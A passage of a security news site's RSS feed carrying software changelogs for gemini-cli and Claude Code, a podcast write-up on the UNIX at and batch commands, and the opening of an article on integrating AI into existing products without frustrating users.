<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kkartik14/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kkartik14">@Kkartik14</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331868914" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26014" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26014/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26014">#26014</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cvan20191/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cvan20191">@cvan20191</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355374642" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26249" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26249/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26249">#26249</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RhysSullivan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RhysSullivan">@RhysSullivan</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4389539817" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26571" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26571/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26571">#26571</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielweis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielweis">@danielweis</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400855534" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26658" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26658/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26658">#26658</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Br1an67/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Br1an67">@Br1an67</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4099397262" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/23069" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/23069/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/23069">#23069</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/M-DEV-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/M-DEV-1">@M-DEV-1</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289176782" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25637" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25637/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25637">#25637</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielmundi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielmundi">@danielmundi</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360179978" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26274" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26274/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26274">#26274</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/suhaan-24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/suhaan-24">@suhaan-24</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3974310806" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19898" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/19898/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/19898">#19898</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Neil-N4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Neil-N4">@Neil-N4</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4092564149" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22894" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/22894/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/22894">#22894</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/f-pieri/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/f-pieri">@f-pieri</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4037284096" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/21523" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/21523/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/21523">#21523</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Eswar809/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Eswar809">@Eswar809</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423532600" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26884" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26884/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26884">#26884</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KurodaKayn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KurodaKayn">@KurodaKayn</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390664039" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26577" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26577/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26577">#26577</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TNTCompany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TNTCompany">@TNTCompany</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4406204191" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26698" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26698/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26698">#26698</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.42.0-preview.2...v0.43.0-preview.0"><tt>v0.42.0-preview.2...v0.43.0-preview.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.140]]></title>
<description><![CDATA[What's changed

Improved Agent tool subagent_type matching to accept case- and separator-insensitive values (e.g. "Code Reviewer" resolves to code-reviewer)
Updated agent color palette
Fixed /goal silently hanging when disableAllHooks or allowManagedHooksOnly is set — now shows a clear message in...]]></description>
<link>https://tsecurity.de/de/3511943/downloads/v21140/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511943/downloads/v21140/</guid>
<pubDate>Tue, 12 May 2026 23:17:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Improved Agent tool <code>subagent_type</code> matching to accept case- and separator-insensitive values (e.g. <code>"Code Reviewer"</code> resolves to <code>code-reviewer</code>)</li>
<li>Updated agent color palette</li>
<li>Fixed <code>/goal</code> silently hanging when <code>disableAllHooks</code> or <code>allowManagedHooksOnly</code> is set — now shows a clear message instead of an indicator that never resolves</li>
<li>Fixed a regression in settings hot-reload where symlinked settings files caused misattributed change events and spurious <code>ConfigChange</code> hooks</li>
<li>Fixed <code>claude --bg</code> failing with "connection dropped mid-request" when the background service was about to idle-exit</li>
<li>Fixed background service startup failing on machines with enterprise endpoint security by allowing more time</li>
<li>Fixed remote managed settings not retrying on 401 — now retries once with a force-refreshed token</li>
<li>Fixed managed <code>extraKnownMarketplaces</code> auto-update policy not being persisted to <code>known_marketplaces.json</code></li>
<li>Fixed <code>/loop</code> scheduling redundant wakeups to poll for background tasks that already notify on completion</li>
<li>Fixed a recurring event-loop stall on Windows when a missing executable (e.g. <code>gh</code>) triggered synchronous <code>where.exe</code> re-spawns on every check</li>
<li>Fixed <code>Read</code> tool calls failing validation when <code>offset</code> is passed as a whitespace-padded or <code>+</code>-prefixed string</li>
<li>Fixed native terminal cursor not staying at the input caret when the terminal loses focus</li>
<li>Plugins now warn when a default component folder (e.g. <code>commands/</code>) is silently ignored because <code>plugin.json</code> sets the matching key. Shown in <code>/doctor</code>, <code>claude plugin list</code>, and <code>/plugin</code>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4637: UNIX Curio #6 - at and batch]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.


I would imagine that most users of UNIX-like systems have heard of 
cron
—certainly any system adm...]]></description>
<link>https://tsecurity.de/de/3508620/podcasts/hpr4637-unix-curio-6-at-and-batch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3508620/podcasts/hpr4637-unix-curio-6-at-and-batch/</guid>
<pubDate>Tue, 12 May 2026 02:03:21 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<blockquote>
This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.</blockquote>

<p>
I would imagine that most users of UNIX-like systems have heard of <code>
cron</code>
—certainly any system administrator should have. Briefly, <code>
cron</code>
 is a way of running a job repeatedly based on the time and date; for example, a job could run every hour, at 5:00am every Tuesday, or the 3rd of every month. It is commonly used for administrative or maintenance tasks that should be done on a regular schedule, such as checking for software updates, rotating log files, or updating the database for the <code>
locate</code>
 command.</p>

<p>
As well-known as <code>
cron</code>
 is, there is a similar utility that very few seem to be aware of: <code>
at</code>
. This is the word "at", and has nothing to do with the at symbol "@". An <code>
at</code>
 job is very much like a <code>
cron</code>
 job, except that an <code>
at</code>
 job only runs one time. A job is submitted by running <code>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/at.html" rel="noopener noreferrer" target="_blank">
at </a>

<em>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/at.html" rel="noopener noreferrer" target="_blank">
timespec</a>

</em>

</code>

<sup>
1</sup>
, where <em>
timespec</em>
 is the time and date the job is to be run. The linked POSIX specification page describes acceptable formats for <em>
timespec</em>
; some examples are "<code>
now</code>
", "<code>
14:00</code>
", "<code>
noon tomorrow</code>
", "<code>
14:00 + 3 months</code>
", and "<code>
14:00 January 19, 2038</code>
". The utility then waits on standard input for you to enter a set of commands to be run in the job. You end input by typing <code>
Control-D</code>
 to mark the end of text. (As an alternative to typing in the job, you could instead use the "&lt;" symbol to redirect standard input to come from a file containing the commands you want to run.)</p>

<p>
When the specified time arrives, the job will be run. That is the theory, anyway, but some things may interfere. The normal configuration for some implementations only checks for due <code>
at</code>
 jobs every five minutes, so there can be a delay before a job is actually run. Also, if the system isn't running, obviously it can't execute any jobs. When it comes back up, typically it will check for any pending <code>
at</code>
 jobs that are currently or past due and run those. It is best to think about an <code>
at</code>
 job being run no earlier than the time it was scheduled for, and probably soon after, provided the system is up. The POSIX standard doesn't specify anything about when jobs are actually run, just that they are <em>
scheduled</em>
 for a particular date and time.</p>

<p>
The user does <em>
not</em>
 need to be logged in for a job to run—if the job outputs anything to standard output or standard error, that text will be e-mailed to the user, presuming the system is set up to send mail. This is often true for a server, which might be running a Mail Transfer Agent like <code>
sendmail</code>
, <code>
postfix</code>
, or <code>
exim</code>
, but many desktops are not. If nothing is output to standard output or standard error, or if that output is redirected to a file, then mail will not be sent on job completion. This behavior can be changed with the <code>
-m</code>
 option; in that case, mail will always be sent when the job finishes whether or not there is any output.</p>

<p>
The <code>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/batch.html" rel="noopener noreferrer" target="_blank">
batch</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/batch.html" rel="noopener noreferrer" target="_blank">
 command is very similar</a>

<sup>
2</sup>
—POSIX specifies it as being equivalent to <code>
at now</code>
 with two differences. First, jobs are put into a different queue, and second, mail is always sent when a job completes as if the <code>
-m</code>
 option was used with <code>
at</code>
. In practice, however, certain aspects of the behavior of <code>
batch</code>
 depend on the implementation.</p>

<p>
On the large majority of systems I investigated<sup>
3,4,5,6,7,8</sup>
, but not all<sup>
9</sup>
, <code>
batch</code>
 jobs will only be run when the system load level drops below a certain point. This can typically be configured by the administrator but has a default value—the manual pages for a couple systems don't actually list a default value and just say <code>
batch</code>
 jobs will run "when system load levels permit". Basing execution on the load level makes sense if the <code>
batch</code>
 utility is seen as a way of running potentially resource-intensive jobs when the system is not being heavily used. However, this behavior is not required by POSIX.</p>

<p>
Another question that the standard leaves unanswered is how queues behave. From the normal understanding of the word "queue", you might expect that each successive job is run one at a time once the previous job completes. However, this is not stated in POSIX, and some implementations explicitly allow a configurable number of jobs to run simultaneously. Manual pages for other systems simply don't mention the subject. (I researched this episode by looking at documentation for a number of BSD, Linux, and commercial UNIX systems, but didn't actually test out how they behave.) POSIX only requires systems to have two queues, one named "a" for <code>
at</code>
 jobs and one named "b" for <code>
batch</code>
 jobs, but allows implementations to have more. It says nothing about how different queues compete for resources—one implementation assigns a higher <code>
nice</code>
 value to jobs in a queue whose name comes later in the alphabet, giving them a lower priority in the process scheduler.</p>

<p>
So what good are <code>
at</code>
 and <code>
batch</code>
? While I think they certainly meet the "obscure" requirement for a UNIX Curio, I have to admit they aren't particularly useful today. They were designed for an era where a typical UNIX-like system would run around the clock and had multiple users who might log in at various times of the day but weren't connected 24/7. In that context, using <code>
batch</code>
 to run a job when the system is lightly loaded might be useful; nowadays, you can just run it whenever you like on your own machine. I have never actually used <code>
batch</code>
 myself. On a machine where there is serious competition for resources among users, <code>
batch</code>
 is probably not a sophisticated enough tool to manage their jobs—the NetBSD and Debian manual pages explicitly suggest using something different<sup>
3,6</sup>
. Supercomputing environments have even more complex requirements and a number of specialized solutions exist for scheduling jobs there.</p>

<p>
I <em>
have</em>
 used <code>
at</code>
 a couple of times. One example was for an organization I was part of that had paid for its domain name registration several years into the future. On the organization's server, I set an <code>
at</code>
 job to e-mail the administrator a reminder to renew it a few months before the domain was due to expire. It was useful in that case because I didn't know whether I would even continue to be involved then, so a personal reminder for myself wouldn't necessarily help. But in my experience, administrative tasks don't tend to be one-off events. Instead, they repeat, making <code>
cron</code>
 the right tool to use. For reminders, a calendar app is probably a better solution in most cases.</p>

<p>
While you might never have a use for <code>
at</code>
 and <code>
batch</code>
, I still think it's good to know that they exist. Just be aware that you'll probably need to read the manual page on your system to fully understand how they will behave.</p>

<p>
References:</p>

<ol>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/at.html" rel="noopener noreferrer" target="_blank">
At specification</a>
 https://pubs.opengroup.org/onlinepubs/009695399/utilities/at.html</li>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/009695399/utilities/batch.html" rel="noopener noreferrer" target="_blank">
Batch specification</a>
 https://pubs.opengroup.org/onlinepubs/009695399/utilities/batch.html</li>

<li>

<a href="https://man.netbsd.org/NetBSD-10.0/at.1" rel="noopener noreferrer" target="_blank">
NetBSD 10.0 at manual page</a>
 https://man.netbsd.org/NetBSD-10.0/at.1</li>

<li>

<a href="https://man.freebsd.org/cgi/man.cgi?query=at&amp;sektion=1&amp;manpath=FreeBSD+15.0-RELEASE+and+Ports" rel="noopener noreferrer" target="_blank">
FreeBSD 15.0 at manual page</a>
 https://man.freebsd.org/cgi/man.cgi?query=at&amp;sektion=1&amp;manpath=FreeBSD+15.0-RELEASE+and+Ports</li>

<li>

<a href="https://man.openbsd.org/OpenBSD-7.8/at.1" rel="noopener noreferrer" target="_blank">
OpenBSD 7.8 at manual page</a>
 https://man.openbsd.org/OpenBSD-7.8/at.1</li>

<li>

<a href="https://manpages.debian.org/trixie/at/at.1.en.html" rel="noopener noreferrer" target="_blank">
Debian 13 at manual page</a>
 https://manpages.debian.org/trixie/at/at.1.en.html</li>

<li>

<a href="https://man.freebsd.org/cgi/man.cgi?query=at&amp;sektion=1&amp;manpath=openSUSE+42.3" rel="noopener noreferrer" target="_blank">
openSUSE 42.3 at manual page</a>
 https://man.freebsd.org/cgi/man.cgi?query=at&amp;sektion=1&amp;manpath=openSUSE+42.3</li>

<li>

<a href="https://support.hpe.com/hpesc/public/docDisplay?docId=c01922490&amp;docLocale=en_US" rel="noopener noreferrer" target="_blank">
HP-UX Reference (11i v3 07/02) - 1 User Commands A-M (vol 1)</a>
 https://support.hpe.com/hpesc/public/docDisplay?docId=c01922490&amp;docLocale=en_US</li>

<li>

<a href="https://man.freebsd.org/cgi/man.cgi?query=at&amp;sektion=1&amp;manpath=OpenSolaris+2010.03" rel="noopener noreferrer" target="_blank">
OpenSolaris 2010.03 at manual page</a>
 https://man.freebsd.org/cgi/man.cgi?query=at&amp;sektion=1&amp;manpath=OpenSolaris+2010.03</li>

</ol>

<p>

<em>
Apologies for the "tapping" sound that occurs in parts of this episode. I think my microphone must have picked up some electromagnetic interference.</em>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4637/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.139]]></title>
<description><![CDATA[What's changed

Added agent view (Research Preview): a single list of every Claude Code session — running, blocked on you, or done. Run claude agents to get started. See https://code.claude.com/docs/en/agent-view
Added /goal command: set a completion condition and Claude keeps working across turn...]]></description>
<link>https://tsecurity.de/de/3508150/downloads/v21139/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3508150/downloads/v21139/</guid>
<pubDate>Mon, 11 May 2026 20:46:50 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added agent view (Research Preview): a single list of every Claude Code session — running, blocked on you, or done. Run <code>claude agents</code> to get started. See <a href="https://code.claude.com/docs/en/agent-view" rel="nofollow">https://code.claude.com/docs/en/agent-view</a></li>
<li>Added <code>/goal</code> command: set a completion condition and Claude keeps working across turns until it's met. Works in interactive, <code>-p</code>, and Remote Control. Shows live elapsed/turns/tokens as an overlay panel</li>
<li>Added <code>/scroll-speed</code> command to tune mouse wheel scroll speed with a live preview</li>
<li>Added <code>claude plugin details &lt;name&gt;</code> to show a plugin's component inventory and projected per-session token cost</li>
<li>Added transcript view navigation: <code>?</code> for keyboard shortcuts, <code>{</code>/<code>}</code> to jump between user prompts, <code>v</code> to toggle shortcut panel</li>
<li>Added hook <code>args: string[]</code> field (exec form) that spawns the command directly without a shell, so path placeholders never need quoting</li>
<li>Added hook <code>continueOnBlock</code> config option for <code>PostToolUse</code> — set to <code>true</code> to feed the hook's rejection reason back to Claude and continue the turn</li>
<li>MCP stdio servers now receive <code>CLAUDE_PROJECT_DIR</code> in their environment, matching hooks. Plugin configs can reference <code>${CLAUDE_PROJECT_DIR}</code> in commands</li>
<li>Compaction prompt now asks the model to preserve sensitive user instructions</li>
<li><code>/mcp</code> Reconnect now picks up <code>.mcp.json</code> edits without a restart, and shows the HTTP status and URL when reconnecting fails</li>
<li><code>/context all</code> per-skill token estimates now account for the model's tokenizer and show rounded values</li>
<li><code>claude plugin install &lt;name&gt;@&lt;marketplace&gt;</code> now auto-refreshes the marketplace and retries before reporting a plugin as not found</li>
<li><code>/plugin</code> installed-plugin details now show hook event names and MCP server names cleanly</li>
<li><code>/context</code> now shows the providing plugin's name for plugin-sourced skills</li>
<li>Remote MCP server reconnect retry on transient failures is now enabled for all users</li>
<li>API requests from subagents now carry <code>x-claude-code-agent-id</code> / <code>x-claude-code-parent-agent-id</code> headers, and <code>claude_code.llm_request</code> OTEL spans include <code>agent_id</code> / <code>parent_agent_id</code> attributes</li>
<li>Remote Control, <code>/schedule</code>, claude.ai MCP connectors, and notification preferences are now disabled when <code>ANTHROPIC_API_KEY</code> / <code>apiKeyHelper</code> / <code>ANTHROPIC_AUTH_TOKEN</code> is set, even if a Claude.ai login also exists. Unset the API key to use these features</li>
<li>Fixed a deadlock where expired credentials and the <code>forceRemoteSettingsRefresh</code> policy setting blocked <code>claude auth login</code>/<code>logout</code>/<code>status</code> with no way to recover</li>
<li>Fixed <code>autoAllowBashIfSandboxed</code> not auto-approving commands with shell expansions like <code>$VAR</code> and <code>$(cmd)</code></li>
<li>Fixed a bug where a hook writing to the terminal could corrupt an on-screen interactive prompt; hooks now run without terminal access</li>
<li>Fixed unbounded memory growth when an HTTP/SSE MCP server streams non-protocol data — response bodies now capped at 16 MB per SSE frame</li>
<li>Fixed <code>Skill(name *)</code> permission rules — the wildcard form now works as a prefix match, matching <code>Bash(ls *)</code> behavior</li>
<li>Fixed settings hot-reload not detecting edits to symlinked <code>~/.claude/settings.json</code></li>
<li>Fixed plugin details failing to load when the marketplace key differs from the manifest name</li>
<li>Fixed <code>/model</code> picker "Default" row not reflecting <code>ANTHROPIC_DEFAULT_OPUS_MODEL</code>/<code>ANTHROPIC_DEFAULT_SONNET_MODEL</code> overrides</li>
<li>Fixed spurious "stream idle timeout" 5 minutes after a response completed, caused by the watchdog timer not being cleared on stream cancellation</li>
<li>Fixed silent <code>exit 1</code> when 10+ MCP servers are configured and the cache directory is unwritable — the error message now includes the underlying cause</li>
<li>Fixed a typing cursor blinking on tab names, list pointers, and select rows in dialogs</li>
<li>Fixed transcript view letter shortcuts not working after mouse click</li>
<li>Fixed Bash-mode up-arrow history repeating the first entry and clobbering the in-progress draft</li>
<li>Fixed pasting or dropping multiple images only inserting the last one</li>
<li>Fixed hyperlinks using unreadable dark navy on dark themes — they now adapt to the active theme</li>
<li>Fixed model picker showing a redundant "Current model" row for third-party users whose model is set to the <code>opus</code> alias</li>
<li>Fixed legacy Opus picker entry on PAYG 3P providers resolving to the same model as the default entry</li>
<li>Fixed mouse wheel scrolling speed in Cursor and VS Code 1.92–1.104; the trackpad now scrolls at a steady rate and the mouse wheel keeps ~3 lines per notch</li>
<li>Fixed scroll behavior in Windows Terminal and VS Code when attached to background sessions</li>
<li>Fixed MCP resources from disconnected servers lingering in <code>@server:</code> autocomplete</li>
<li>Fixed two-file diff snippets over-reporting the number of truncated lines by one</li>
<li>Fixed Grep results not relativizing Windows drive-letter paths and count mode reporting wrong totals for single-file paths</li>
<li>Fixed border-embedded text overflowing on CJK/emoji due to visual cell width miscalculation</li>
<li>Fixed fuzzy-match highlighting splitting emoji and astral-plane characters mid-pair</li>
<li>Fixed skill argument names containing regex metacharacters breaking argument substitution</li>
<li>Fixed ProgressBar rendering a full block for an almost-full fractional cell</li>
<li>Fixed task polling and <code>fs.watch</code> being resurrected when the last subscriber leaves while a fetch is in flight</li>
<li>Fixed plugin dependency resolution leaving a stale count when the manifest name differs from the source identifier</li>
<li>Fixed Insights Time-of-Day chart skewing when a session has an unparseable timestamp</li>
<li>Fixed keybindings using only the cmd/super/win modifier being flagged as unparseable</li>
<li>Fixed <code>claude_code.active_time.total</code> OpenTelemetry metric not being emitted in <code>--print</code> mode</li>
<li>Fixed <code>claude plugin update</code> not preserving cross-plugin symlinks inside a marketplace</li>
<li>[VSCode] Press Cmd/Ctrl+Shift+T to reopen the most recently closed session tab, configurable via <code>claudeCode.enableReopenClosedSessionShortcut</code></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to add AI to an existing product (without annoying users)]]></title>
<description><![CDATA[While generative AI has shown promising results in advancing software engineering, its inclusion within end-user applications is a different story. Features labeled as AI continue to pop up across every UI, but they’re not always helpful or useful. Often driven by hype, they can become a distract...]]></description>
<link>https://tsecurity.de/de/3506345/ai-nachrichten/how-to-add-ai-to-an-existing-product-without-annoying-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506345/ai-nachrichten/how-to-add-ai-to-an-existing-product-without-annoying-users/</guid>
<pubDate>Mon, 11 May 2026 11:06:00 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>While <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> has shown promising results in advancing software engineering, its inclusion within end-user applications is a different story. Features labeled as AI continue to pop up across every UI, but they’re not always helpful or useful. Often <a href="https://www.infoworld.com/article/4109940/6-incredibly-hyped-software-trends-that-failed-to-deliver.html">driven by hype</a>, they can become a distraction, or worse, a productivity killer.</p>



<p>“Many fall into the trap of tacking on AI capabilities to cash in on the hype rather than because they solve a real, tangible user problem,” says <a href="https://www.linkedin.com/in/jodybailey/">Jody Bailey</a>, chief product and technology officer at <a href="https://stackoverflow.com/">Stack Overflow</a>. “The results are brittle features that introduce bugs, create security gaps, or disrupt workflows.”</p>



<p>As a result, end users are souring on “AI everywhere, all the time.” Only 8% of Americans would pay extra for AI, according to <a href="https://www.zdnet.com/article/only-8-of-americans-would-pay-extra-for-ai-according-to-zdnet-aberdeen-research/">ZDNET-Aberdeen research</a>. Amid rising <a href="https://www.cnet.com/tech/services-and-software/features/ai-slop-is-destroying-the-internet-these-are-the-people-fighting-to-save-it/">AI slop concerns</a> and growing consumer pushback, <a href="https://www.wsj.com/tech/ai/ai-advertising-consumer-trust-dc1a1425">The Wall Street Journal</a> reports that companies are becoming more cautious about how they promote AI in products.</p>



<p>“The biggest anti-pattern is AI everywhere without context,” says <a href="https://www.linkedin.com/in/neeraj-abhyankar-9040141/">Neeraj Abhyankar</a>, VP of data and AI at <a href="https://www.rsystems.com/">R Systems</a>, a digital product engineering company. “Teams bolt chatbots or auto-generated content onto established products and workflows in ways that disrupt the user’s flow rather than enhance it.”  </p>



<p>Sudden closures, such as the sunsetting of video generation app <a href="https://www.informationweek.com/it-strategy/the-sunsetting-of-sora-a-hard-lesson-in-ai-portfolio-resilience">Sora</a>, highlight the brittleness of AI offerings in the market. Enthusiasm for AI-generated content is also declining: 46% of users dislike companies that use AI to generate content, and 43% are less likely to purchase from them, according to SurveyMonkey’s <a href="https://www.surveymonkey.com/learn/state-of-marketing/">State of Marketing 2025 report</a>.</p>



<p>So, at the risk of losing potential business, is adding AI to your software product or service really worth it? And if so, how do you do it right? Below, we check in with experts to examine the downsides of hastily bolting AI onto existing products, as well as positive examples with measurable benefits, to help draw the line between useful AI and AI that just gets in the way.</p>



<h2 class="wp-block-heading">Anti-patterns of bolting AI onto established products</h2>



<p>Too many AI add-ons simply perpetuate the hype. “The most common anti-pattern is adding AI because of hype instead of a real user problem,” says <a href="https://www.linkedin.com/in/justin-o-connor-67376483">Justin O’Connor</a>, founder and CEO of <a href="https://infracodebase.com/">Infracodebase</a>, a unified cloud delivery platform. “That creates features people do not ask for and do not trust.” </p>



<p>When AI is force-fed to users without a fallback, they can feel trapped, especially when the features don’t map to clear benefits. “The biggest anti-pattern is forcing the use of AI features when the features don’t clearly provide value to the user,” says <a href="https://www.linkedin.com/in/brianwadesmith">Brian Smith</a>, principal product manager at <a href="https://www.redhat.com/">Red Hat</a>.</p>



<p>For example, chat experiences disconnected from the primary app are especially distracting, says <a href="https://www.linkedin.com/in/voxmatt/">Matt Martin</a>, former CEO and co-founder of <a href="https://getclockwise.com/">Clockwise</a>, maker of a meeting scheduling assistant recently acquired by Salesforce. “Who cares about a chatbot inside Google Docs when I’m already typing? If it doesn’t enhance the core workflow or increase the efficiency, frequency, or impact of your core ROI, what is it doing?” </p>



<p>“Building without a clear understanding of user intent results in tools that look impressive but don’t meet actual user needs,” adds Stack Overflow’s Bailey. “In turn, these so-called solutions erode trust and slow teams down, causing frustration and leaving platforms worse off than before the AI was introduced.”</p>



<p>It’s also easy to fall into tracking the performance of flashy technology rather than actual user behaviors. “Teams overfocus on model quality metrics and ignore product outcomes, so the feature is technically clever but not useful,” says O’Connor.</p>



<p>In such situations, AI might not even be the right fit for the job at hand: <a href="https://www.gartner.com/en/articles/genai-project-failure">Gartner reports</a> that a key reason behind generative AI project failures is an unclear business value. As <a href="https://www.linkedin.com/in/melissa-r-94b25a28/">Melissa Ruzzi</a>, director of AI at <a href="https://appomni.com/">AppOmni</a>, a cybersecurity company, explains, “it may cost much more time and money to solve the same problem with AI than by a statistics and data science approach.”</p>



